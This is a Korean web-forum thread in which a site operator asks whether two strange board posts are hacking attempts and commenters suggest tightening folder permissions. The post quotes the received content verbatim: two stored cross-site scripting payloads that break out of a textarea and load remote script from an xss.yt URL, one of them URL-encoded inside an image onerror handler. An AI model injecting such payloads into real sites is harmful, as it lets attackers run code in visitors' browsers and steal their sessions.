테스트 사이트 - 개발 중인 베타 버전입니다

해킹 시도인가?

· 2년 전 · 1937 · 8

안녕하세요.

제가 운영하는 사이트 게시판에

요 며칠동안 2번의 이상한 글이 올라왔는데.

아래와 같은 소스가 있습니다.

해킹 시도 인가요?

 

그누보드 최신으로 업데이트 해 둬서 아직 뚫린것 같진 않은데..

어떻게 조치하는게 좋을까요?

 

. </tExtArEa>'"><sCRiPt sRC=//xss.yt/Y67I></sCrIpT>

</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eRequest::post(unescape(/var%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22https%3A%2F%2Fxss.yt%2FY67I%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>

댓글 작성

댓글을 작성하시려면 로그인이 필요합니다.

로그인하기

댓글 8개

2년 전
xss랑 웹킷인가 공격 당하는것 같아요
일단 data 폴더 권한부터 강화하시고 외부에 파일업로드 못하게 막아놓으세요
2년 전
@리오닥터 의견 감사합니다. 혹시 괜찮으시면.
data 폴더 권한강화라고 하시면 data 권한을 어떻게 줘야하는건가요?
그 밑에 폴더들도 함께 줘야하는 건지? 특정 폴더만 주는건지? 755로 줘야 하는건지?
잘 몰라서 그런데 조금만 구체적으로 설명 해 주실 수 있을까요?
2년 전
@호텔천사 소유권 권한요
https://inpa.tistory.com/entry/LINUX-%F0%9F%93%9A-%ED%8C%8C%EC%9D%BC-%EA%B6%8C%ED%95%9C-%EC%86%8C%EC%9C%A0%EA%B6%8C%ED%97%88%EA%B0%80%EA%B6%8C-%F0%9F%92%AF-%EC%A0%95%EB%A6%AC
2년 전
@리오닥터 정말 잘 정리된 곳을 알려주셔서 감사합니다.
권한 설정및 방법은 알고 있습니다.
제가 궁금한 것은 어떤 디렉토리를 변경하면 될까요?
1) data 폴더만?
2) data 폴더와 그 아래 폴더 전체?
3) data 안의 특정폴더?
4) data 안의 특정 파일?
인터넷이 익명성때문에 오만가지 시도들을 다하네요. 전세계 인터넷을 고정아이피화 해서 해킹시도하는 인간들 잡았으면 좋겠어요.
2년 전
@크론이 그러게요. 왜 절 괴롭히는지..ㅠㅠ
2년 전
진짜 짜중 나시겠네요. 커피 한잔 드세요.
2년 전
@비타주리 넵, 사이트가 성장하려니까..이제 슬슬 견제 들어오는건지...? 신경쓰이긴 하네요.
의견 감사합니다.

게시글 목록

번호 제목
1717252
1717247
1717243
1717237
1717225
1717214
1717208
1717203
1717189
1717183
1717177
1717172
1717163
1717162
1717156
1717154
1717153
1717141
1717140
1717138
1717113
1717111
1717105
1717099
1717085
1717076
1717072
1717065
1717062
1717050